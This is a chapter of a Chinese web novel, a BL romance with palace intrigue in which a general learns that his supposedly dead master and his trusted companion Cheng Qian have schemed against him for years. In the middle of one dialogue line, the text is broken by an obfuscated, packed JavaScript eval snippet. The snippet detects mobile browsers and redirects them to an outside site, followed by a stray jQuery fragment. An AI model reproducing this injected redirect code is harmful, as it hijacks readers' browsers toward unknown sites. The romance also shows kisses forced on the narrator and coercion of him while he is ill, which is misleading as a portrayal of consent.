7. 第七章 疯魔

作品:《我和死对头HE了

    28


    我对苏占春存疑,便不能那般了事。


    哄程乾睡下后,我换好夜行衣出了府门,踩着房檐直奔阁老府而去。


    我今夜定要探出他的虚实。


    刚进府,便被人扣住手腕拉到了角落里。


    借着银白的月光我看到了眼前人的脸。


    眸子大睁,压低声音道:“萧安瑄你来作何?”


    “同你一起。”萧安瑄道。


    “不必。”我左右瞧了眼,“我的事不劳你费心,你赶快走。”


    “你知道的,你说不动我。”他睨着我,“除非你跟我一起走。”


    我当然不可能走。


    僵持片刻后,我妥协,“随你的便。”


    我们分头行事,一人去书房,一人去阁楼。


    苏占春向来老谋深算,那些证据,不可能放在明眼处。


    阁楼有四个人守着。


    我一一把他们打晕,拖到角落里。


    推门进去,一个格子一个格子的找寻。


    翻了一遍后,没有任何收获。


    隐约的听到了脚步声和攀谈声。


    “阁老怎地突然来此,是有什么事吗?”


    “总觉心神不宁,我来看看。”


    “奴才掌灯,您慢些走。”


    脚步声越发得近,我躲在书柜后面,握着剑的手慢慢攥紧。


    呼吸也跟着变缓变弱。


    “今夜何人当值,为何不见踪影?”


    “那几个兔崽子准是去喝酒了,都是属下的错。”


    “等他们回来杖则五十,打完把人都扔出去。”


    推门声传来,吱呀,门打开一道缝隙。


    我屏住呼吸,静等他们进来。


    泄了一地的月光映出数到绵长的影,除了苏占春外,个个带着兵器。


    真打起来,还真不好脱身。


    苏占春抬脚欲迈,忽地,后方传来急呼声:“走水了,书房走水了。


    “来人,书房走水了。”


    苏占春停住,转身回看,望着团团烟雾,沉声道:“快去救火。”


    门关上,一行人原路返回。


    下一瞬,我被人用剑抵住了后腰。


    灼热的呼吸涌进我耳中,听那人说道:“还挺硬。”


    声音熟稔,是萧安瑄。


    我反手把他拉到身前。


    他倒也没挣扎,就那么被我扯了过来。


    随后撞进了我怀里。


    好巧不巧,正好堵上我的唇。


    这个亲吻有些突兀。


    我推他时慢了一步,被他抢了先。


    舌尖探进来,吮住了我的嫩舌。


    狗东西,又撩拨我。


    他推不开他,抬脚踢他,被他夹住了腿。


    他舔着我唇瓣,道:“刚救了你,不应该讨点利息么。”


    我张嘴欲骂他,被他乘虚而入,再次勾缠住了舌尖。


    半晌后,他才意犹未尽退开。


    手里拿着我要的东西。


    “这什么?”


    “信笺。”


    “和谁的?”我怕问道。


    萧安瑄脸色微变,递上信笺,道:“令师。”


    我狐疑接过,打开,笔迹是我熟悉的笔迹,每一封的落款,都是昌兴。


    师父字昌兴。


    真是师父写的。


    萧安瑄道:“此地不宜久留,咱们先走。”


    回程途中,我把每一封信都仔细读了一遍。


    皆是闲话家常,并未有什么不可告人的秘密。


    萧安瑄轻轻转动扳指,掀眸,“令师的死或许同苏占春有干系。”


    我喉结慢滚,神色说不出的冷凝,“这件事你不许插手,我要自己解决。”


    “你一个禁军统领如何解决?”萧安瑄语重心长道,“让我帮你。”


    “不需要。”我道,“国师大人日后还是不要再掺和我的事。”


    萧安瑄见我冷脸,以为我还在为失了兵权的事恼他,“你放心,兵符你怎么拿出去的,我便让你怎么收回来。”


    我收起信笺,注视着萧安瑄,“我的话你听不懂是不是?


    “说了不许你插手,你便不能插手。”


    “萧安瑄,今夜是第一次也是最后一次。


    “别让我更恨你。”


    放下重话,我叫停马车,掀帘跳了下来。


    头也不回地淹没在漆黑的夜色中。


    阿武骂了句,“呸,猪油蒙了心。”


    萧安瑄冷脸,“是我欠他的。”


    我没听到主仆二人的对话。


    阿毛在暗处等我,见我来,牵马上前。


    “将军怎地又动怒了?”


    “谁说我动怒了?”


    “脸都黑了,不是动怒是什么。”


    我抿抿唇,手摸向怀中时除了摸到那些信笺,还摸到了一瓶玉肌膏。


    喉结滚了又滚,我翻身上马,朝马车笨去。


    擦身而过时,把玉肌膏抛进了萧安瑄的怀里。


    紧跟着一句,“丑死了。”


    萧安瑄唇角扬起,晃晃手中的玉肌膏,“还是时远心疼我。”


    “滚。”我道,“谁心疼你,我是嫌碍眼。”


    萧安瑄笑的浪,人更浪。


    竟然探出半个身子来扯我。


    勾住我脖颈后,不由分说吻了上来。


    舔着我唇轻喘:


    “周瑾言,你是我的。”


    “这辈子都逃不掉。”


    30


    苏占春丢了东西,次日早朝都没去。


    对外说是染了风寒。


    门生们听闻纷纷去探望。


    我混在大臣中一起进了府。


    趁他们寒暄时,我四处转了转。


    看到书房门口的守卫又多了一批。


    想来这里藏着什么不可告人的秘密。


    不确定和师父有没有干系。


    我决定寻个合适的日子再探。


    契机很快到来。


    内阁大臣们陪同天子出城祈福。


    苏占春身为内阁之首更应当同行。


    至于我这个禁军统领,寻个由头便可以不去。


    我借太医院的口,告知天子我染了风寒,不易出行。


    留在了城中。


    入夜,我悄悄潜入,直奔书房而去。


    白日的守卫竟然没有。


    我虽心有疑虑,但还是走上前。


    推门欲进时被人团团包围住。


    管家走出来,轻呵两声:“毛贼,等的就是你。”


    原来这是苏占春使的计谋。


    他要来个守株待兔。


    我也不是善茬,和他们厮打起来。


    战斗正酣时,有人举剑朝我刺来。


    我躲避不及,挨了一剑。


    也趁机给了他腰间一拳。


    他侧身避开,回身又是一拳。


    这拳,我没躲,直直挨上。


    心也仿若被什么捏了一把。


    我怔愣看着眼前人。


    明明是苏占春的脸,可却给我一种深入骨髓的熟悉感。


    我脱口而出,“师父?!”


    苏占春的拳头停在我眼前,脸上神色难辨。


    旁边有人呵斥道:“ 别打了,其他人都退下。”


    眨眼功夫,暗卫消失不见。


    庭院中只剩我和苏占春。


    我不确定问道:“你到底是谁?”


    夜色里,男人的身影被拉扯得很长。


    我看到他手落在脸上,轻轻一掀,人皮面具掉了下来。


    熟悉的五官。


    他真的是师父!


    我如遭电击,低喃:


    “怎么会?怎么会?”


    31


    一刻钟后,我知晓了事情的始末。


    “你杀了苏占春?”


    “是。”


    “为何?”


    “能为何,当然是为这滔天权势。”宋昌兴道,“阿远,我本想等一切尘埃落定后再与你相认。


    “继时这天下便是你我师徒二人的了。”


    我不可置信地看着他,“为了这个你便杀了同门师兄?”


    “苏占春他该死。”宋昌兴道,“我比他聪慧,可师父却偏偏更倚重他,还将我逐出师门。


    “我岂能甘心。”


    我踉跄后退两步,“即便如此,你也不应该杀人。”


    “为何不该?”宋昌兴道,“世上既有我宋昌兴便不该再有苏占春,我同他只能存一人。”


    我上前,屈膝跪下,“师父收手吧,别再杀人了。”


    “收手?不可能。”宋昌兴眼冒寒光,“除非得了这天下,不然我不绝不会收手。”


    我站起,冷声问道:“非要如此么?”


    “是。”


    “若我阻你呢?”


    宋昌兴抬眸看向我,轻抚我脸颊,“阿远你是师父一手带大,师父对你除了师徒情谊还有父子情。


    “我爱重你。


    “但你若阻我,我也不会放过你。


    他眼神狠戾道:“就像那日杀害萧凛一样,谁阻我,我杀谁!”


    原来,萧尚书也是他杀的。


    他这个恶魔。


    “师父权势真的那般重要吗?”


    “是。”宋昌兴道,“所以,你要不要跟师父一起享盛世繁华?”


    “不。”我定定道,“若师父执意如此,徒儿也只能替天行道了。”


    我举剑朝他刺去。


    眼见要刺中,门被人踢开。


    嘶哑声传来,“时远,救我。”


    我停下,回眸,看向程乾。


    抬腿欲过去,暗卫道:“扔下你手中的剑,不然我杀了他。”


    程乾摇头,“不,时远,你别管我,你快跑,快跑。”


    程乾在这,我不可能跑。


    手指一松,剑落了地。


    紧接着我挨了几棍,后脑勺溢出血。


    踉跄着朝前倒去。


    程乾抱住我,猩红着眸子,道:“时远,都是我不好,是我辜负了你。”


    我摇头,“是我连累了你。”


    我看向宋昌兴,“你要杀要剐我绝无怨言,但程乾同此事无关,求你放了他。”


    “哈哈。”宋昌兴轻笑两声,“阿远,你还是太年轻了,少不更事,连人都不识。”


    我懵懂看着他,见他徐徐走近,对程乾伸出了手。


    “阿乾,过来,到我这来。”


    程乾松开了我。


    走向宋昌兴。


    他们亲昵地依偎在一起。


    程乾和师父……


    我仰头大笑,原来,这八年我一直活在他们的算计中。


    昏迷前,我问出最后一句:“我的手指……”


    宋昌兴道:“我给萧安瑄放了话,若想你活,他必须断你手指。”


    我冷笑,“还真是你胁迫的他。”


    “为何!”


    “不让你斩断最后一丝情缘,你如何参军,又如何为我夺得兵权。”宋昌兴贪婪道,“阿远,为师应该好好谢谢你。


    “十万大军,便是你送给为师的贺礼吧。


    “待这天下归于我时,你依然是护国将军。”


    32


    再度睁眼,我浸在水中,水已至下颌,随时会灌入我口中。


    巨大的痛意席卷着我,说不清是心更痛还是身子更痛。


    我心心念念护了八年的人,竟然算计我至此。


    萧安瑄说的对,我有眼无珠,是天大的蠢货。


    可。


    那是程乾啊。


    伴了我八年的人。


    八年来我几次要死掉时,都是他出手救我。


    为何?


    为何他会同师父在一起,做这些天理不同的事?


    我百思不得其解。


    恍神时,牢门打开,有人走了进来。


    我未曾回头,便认出了来人。


    “我不想见你,滚!”


    “时远,你受伤了,让我给你疗伤。”程乾走到我面前,屈膝蹲下,似乎一切都没变,他还是那个温润如玉的人,“别跟师父犟了,认个错,师父会把你放出去的。”


    “当年你救我也是他的吩咐?”


    “是。”


    “这八年你对我诸多好,也只是因为他?”


    程乾淡笑,“不,我对你好,只是因为你。”


    他手指挑起我的下颌,眸光灼灼,“我心悦你。”


    心悦?


    呵。


    “你的心悦便是对我痛下杀手?”我冷声道,“程乾,是我瞎了眼,错吧敌人当友人。”


    “痛下杀手?”程乾道,“你在说什么


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14775838|157896||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,为何我听不懂?”


    “那日水下遇险,杀我的人里有你对不对?”


    程乾微怔,笑意褪尽,就那般直勾勾睨着我。


    半晌后,道:“没有。”


    “还不承认?”我道,“那些杀手身上留下的半张信笺便是证据。


    “你知我不会善罢甘休,便故意把纸张放了进去。”


    “意欲扰乱我视线。”


    “百密一疏,纸张上染了药香。”


    “那药,正是我白日送给你的,独此一份。”


    我抬眸看他,一字一顿道:“对我下手时,你可曾有半分犹豫?”


    程乾捏住我下颌轻碾,“原是有的,只是被你消磨尽了。”


    “我当你如宝,你却满眼满心都是萧安瑄!”


    “周瑾言,是你负我在先!”


    他再也装不下去,勒住我衣领提起,“你想跟萧安瑄在一起?


    “做梦!”


    我轻蔑一笑,“程乾,你该死。”


    言罢,我额头狠狠撞上他的头。


    趁他跌倒时,从水中跃起。


    落在他面前,一把锁住他的喉。


    外面守卫听到肉搏声冲了进来。


    我死死掐着程乾,冷声道:“退开,不然我杀了他!”


    宋昌兴闻讯赶来,厉声道:“阿远,放了阿乾。”


    放了他?


    真是痴人说梦。


    “给我准备快马和干粮。”我道,“等我出城后自然会放他。”


    “阿远,你真是太不听话了。”宋昌兴接过手下递上的弓箭,拉开,“不若你猜猜看,是你的手快还是我的箭快。”


    他眼神狠戾,完全没把程乾放心上。


    我贴着程乾的耳朵说道:“看清楚了吗,他不会为任何人退让,包括你。


    “你在他眼里不过是一只可有可无的狗。”


    “程乾啊。”我轻唤,“为了他,值得吗?”


    “还是说你真想当这千古罪人?”


    “国破家亡,民不聊生,死后也只能入地狱。”


    “地狱好啊。”程乾轻笑,“有你陪着我不孤单。”


    言罢,他看向宋昌兴,“快杀我!”


    宋昌兴道:“阿乾乖,安心去吧,你的仇我一定会为你报。”


    他毫不犹豫地松开了手。


    箭矢朝前奔来。


    我欲拉着程乾避开。


    谁知,他转身把我抱在了怀里。


    抵着我额头道:“傻瓜,我怎么可能让你死。”


    眨眼的功夫,他后背上都是利箭。


    血流淌而出,他倒在了我的身上。


    我捧起他的脸,唤他:“程乾——”


    回答我的是疾驰的脚步声。


    我被团团围着。


    宋昌兴冷脸道:“杀!”


    33


    狂风骤起,天降暴雨,我杀红了眼。


    嗜血剑上血迹未干又添新血。


    我的目标只有一个,那便是杀死宋昌兴。


    还这世间一个太平。


    不记得厮杀了多久,体力不支倒下时,有人护在了我身前。


    “你先去歇息。”萧安瑄把我扶到廊下,又解下身上的黑色氅衣披我身上,捏捏我手指,温声道,“时远,我来晚了。”


    我轻摇头,费力说道:“不晚。”


    他示意身边暗卫户护住我,随后站起身,直视宋昌兴,冷声道:


    “苏阁老,哦,不对,应该是宋幕僚,新仇旧账,咱们要好好算算了。”


    “萧安瑄你怎会在此?”宋昌兴道,“你不是陪同陛下祈福了吗?”


    “只许你金蝉脱壳,不许我螳螂在后?”萧安瑄上前,“乖乖束手就擒,我还能饶你一命,不然……”


    “就凭你?”宋昌兴轻嗤,“你老子都动不得我,更何逞是你,做梦!”


    萧安瑄剑法精湛,在宋昌兴刺过来时先一步出招。


    招招要命。


    ……


    宋昌兴死了。


    34


    天子连夜下诏,严审宋昌兴党羽。


    几番审讯下下,刘贵妃身份暴露。


    原来,宋昌兴之所以做到如此地步,皆是为了刘贵妃。


    刘贵妃未入宫前,他们便已相识。


    棒打鸳鸯,一个入宫一个入狱。


    宋昌兴不甘心,几经波折出狱。


    后做了尚书府萧大人的幕僚。


    阴谋诡计便从那时开始。


    天还未明,宫中传来刘贵妃自缢的消息。


    七公主也不慎失足掉进湖里淹死了。


    ……


    彼时,我刚转醒。


    萧安瑄正在喂我汤药。


    我从小惧苦,下意识转头。


    萧安瑄扳过我的脸,汤碗递到我面前,轻哄:“喝了它,给你蜜饯吃。”


    上次他也是这般哄骗我,汤药喝了,可迟迟没给蜜饯。


    我推拒,“不喝。”


    “怎地还跟小孩子似的。”他含笑攥住我的手,指腹在我腕上轻碾,“喝不喝?”


    我道:“不喝。”


    他不再多说什么,就那么直勾勾盯着我看。


    我被他看的全身发热。


    无意识做了个吞咽的动作。


    “你要——”


    话还未说完,被他扣住后颈堵上了唇。


    他的吻又凶又急,带着破竹之势,似乎要把我吞噬掉。


    几个来回,我败下阵,倚着他胸口大口喘息。


    他轻笑一声,举高碗盏,一口饮尽里面的汤药,随即再次覆上我的唇。


    药汁从他口中流淌到我的口中。


    灼得我喉咙发烫。


    人更烫。


    半晌后,他心满意足退开,轻抚我泛着潮红的脸颊。


    说着混不吝的话:“知道我现下最想做什么吗?”


    我未言。


    他道:“摁着你,榨干。”


    我以为他只是随口讲讲,谁知他来真的。


    我手抵在他身前,喘息道:“我还是病人。”


    萧安瑄捏了我后颈一把,“那又如何?”


    “我想尝了,谁也别想阻我。”


    “你也不能。”


    这个混蛋玩意。


    趁我身子不适欺辱我。


    我跟他没完。